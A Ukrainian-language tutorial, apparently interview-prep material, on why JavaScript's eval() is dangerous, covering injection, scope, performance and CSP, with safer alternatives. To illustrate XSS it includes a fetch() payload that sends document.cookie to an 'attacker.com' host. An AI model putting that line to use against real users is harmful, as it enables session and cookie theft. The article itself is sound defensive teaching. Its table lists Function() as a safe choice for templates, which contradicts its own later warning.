Чому eval() небезпечний?
Що робить eval()
Функція eval(code) приймає рядок JavaScript-коду і виконує його як звичайний JS-код під час виконання програми.
eval("console.log('Привіт, світе!')");Це буквально "міні-інтерпретатор JavaScript всередині JavaScript".
Чому це небезпечно
Проблема в тому, що eval() виконує довільний код,
і будь-який зловмисник, який зможе підставити туди свій рядок, може виконати будь-які команди від імені твого застосунку.
1. Вразливість для XSS / Remote Code Execution
Якщо в eval() потрапляє введення користувача, це катастрофа:
const userInput = prompt("Введіть щось:");
eval(userInput);Користувач вводить:
alert('Зламано!');І код виконається.
А в найгіршому випадку:
fetch('https://attacker.com/steal?cookies=' + document.cookie)Зловмисник отримує кукі користувача і токен авторизації.
Це називається XSS (Cross-Site Scripting) або Remote Code Execution.
2. Порушення ізоляції безпеки
eval() виконується в поточному контексті,
тобто має доступ до всіх змінних і функцій твого скрипту:
const secret = 'myToken123';
eval('console.log(secret)'); // виведе секретЯкщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку.
3. Втрата оптимізації продуктивності
Сучасні JS-рушії (V8, SpiderMonkey, JavaScriptCore)
роблять сильну оптимізацію коду під час компіляції.
Але якщо ти використовуєш eval(), рушій не може передбачити,
який код буде виконано → доводиться вимикати оптимізацію.
Результат:
- код працює повільніше;
- garbage collector втручається частіше;
- inline і JIT-оптимізація вимикається.
4. Неочевидна поведінка з областю видимості
eval() виконується в поточній області видимості (при прямому виклику):
let x = 1;
eval('x = 10');
console.log(x); // 10Але якщо викликати непрямо ((0, eval)(...)),
він працює в глобальній області:
let x = 1;
(0, eval)('x = 10');
console.log(x); // 1
console.log(window.x); // 10Це робить код непередбачуваним і складним для налагодження.
5. Безпечніші і швидші альтернативи
Часто eval() намагаються використовувати, щоб:
- виконати JSON-парсинг (
eval(jsonStr)); - викликати функцію за ім'ям;
- обчислити вираз із рядка.
Але всі ці задачі вирішуються безпечними аналогами:
| Задача | Безпечна альтернатива |
|---|---|
| Розбір JSON | JSON.parse(str) |
| Виклик функції за ім'ям | obj[funcName]() |
| Динамічна логіка | Map або switch |
| Шаблони | Function() або template literals (рядки з підстановкою) |
| Мат. вирази | Парсер (math.js, expr-eval) |
6. Конструктор Function теж небезпечний
Іноді думають, що new Function() - безпечніший.
Але він теж виконує рядок як код:
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3)); // 5Він працює, але якщо туди потраплять дані від користувача, ризик такий самий, як і з eval().
7. Не можна використовувати в строгій CSP (Content Security Policy)
Сучасні сайти часто використовують CSP - політику безпеки, яка забороняє inline-скрипти і eval().
Якщо в HTTP-заголовках вказано:
Content-Security-Policy: script-src 'self'то при спробі викликати eval() браузер просто викине помилку:
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowedПриклад: безпечна альтернатива eval()
Погано:
function runExpression(expr) {
return eval(expr);
}
runExpression('2 + 3 * 4');Добре:
function safeEval(expr) {
const allowed = /^[0-9+\-*/().\s]+$/;
if (!allowed.test(expr)) throw new Error('Неприпустимі символи');
return Function(`"use strict"; return (${expr})`)();
}
console.log(safeEval('2 + 3 * 4')); // 14Тут вираз попередньо перевіряється на допустимі символи.
Підсумок
| Проблема | Чому небезпечно |
|---|---|
| Вразливість для XSS | Виконує довільний код |
| Порушує ізоляцію | Доступ до всіх змінних |
| Повільно | Вимикає оптимізацію JS-рушія |
| Непередбачувано | Різна область видимості |
| Несумісно з CSP | Заборонено на безпечних сайтах |
Головна ідея:
eval()перетворює дані на код, а отже, будь-яка помилка або зовнішнє втручання = повний контроль над застосунком. Ніколи не використовуйeval()на даних, яким не можна довіряти.
Коротка відповідь
Для співбесідиКоротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.